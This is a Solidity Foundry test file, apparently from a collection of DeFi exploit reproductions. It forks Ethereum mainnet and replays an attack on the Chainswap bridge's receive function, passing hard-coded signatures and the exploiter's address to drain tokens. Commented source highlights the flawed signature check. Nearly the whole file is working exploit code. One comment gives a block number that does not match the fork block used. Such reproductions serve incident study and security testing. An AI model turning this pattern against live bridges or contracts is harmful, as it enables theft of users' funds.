Chainswap_exp1.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.6.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

struct Signature {
    address signatory;
    uint8 v;
    bytes32 r;
    bytes32 s;
}

// interface IChainswap {
//   function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable;
// }

contract ContractTest is Test {
    address exploiter = 0x941a9E3B91E1cc015702B897C512D265fAE88A9c;
    address proxy = 0x7fe68FC06e1A870DcbeE0acAe8720396DC12FC86;
    address impl = 0x373CE6Da1AEB73A9bcA412F2D3b7eD07Af3AD490;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 12_751_487); // fork mainnet at block 13125070
            // https://etherscan.io/tx/0x5c5688a9f981a07ed509481352f12f22a4bd7cea46a932c6d6bbe67cca3c54be
    }

    function testExploit() public {
        Signature[] memory sigs = new Signature[](4);
        sigs[0] = Signature({
            signatory: 0x8C46b006D1c01739E8f71119AdB8c6084F739359,
            v: 27,
            r: 0x7b9ce0f78253f7dcf8bf6a2d7a4c38a151eba15eefe6b355a67a373653192765,
            s: 0x0a4b99389149cc4f7f6051299145c113f5aa50dccf19f748516c4c977f475d6c
        });
        sigs[1] = Signature({
            signatory: 0x4F559d3c39C3F3d408aFBFB27C44B94badA8dEd5,
            v: 27,
            r: 0x692e284a3efd148d6dd23b44055740fac7154a482fbeff7f2cc4acf4002fa62d,
            s: 0x1134236483ad360a775e6c22100f83ba5091115323417205cfbd4ae898cd0bc2
        });
        sigs[2] = Signature({
            signatory: 0x6EA6D36d73cF8ccD629Fbc5704eE356144A89A06,
            v: 28,
            r: 0x9ca27b8ec05746c43cd67e0099015ea9b88bdf34e8acfd6ace9dd63b8a320433,
            s: 0x1d4aaa253afc6c5d5f893d4a572de830538aeef3b65cb6ff3bb6fec738a899d0
        });

        proxy.call(
            abi.encodeWithSignature(
                "receive(uint256,address,uint256,uint256, Signature[])",
                1,
                exploiter,
                1,
                19_392_277_118_050_930_170_440,
                sigs
            )
        );
        // function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable {
        // _chargeFee();
        // require(received[fromChainId][to][nonce] == 0, 'withdrawn already');
        // uint N = signatures.length;
        // require(N >= Factory(factory).getConfig(_minSignatures_), 'too few signatures');
        // for(uint i=0; i<N; i++) {
        //     for(uint j=0; j<i; j++)
        //         require(signatures[i].signatory != signatures[j].signatory, 'repetitive signatory');
        //     bytes32 structHash = keccak256(abi.encode(RECEIVE_TYPEHASH, fromChainId, to, nonce, volume, signatures[i].signatory));
        //     bytes32 digest = keccak256(abi.encodePacked("\x19\x01", _DOMAIN_SEPARATOR, structHash));
        //     address signatory = ecrecover(digest, signatures[i].v, signatures[i].r, signatures[i].s);
        //     require(signatory != address(0), "invalid signature");
        //     **require(signatory == signatures[i].signatory, "unauthorized");**
        //     _decreaseAuthQuota(signatures[i].signatory, volume);
    }

    receive() external payable {}
}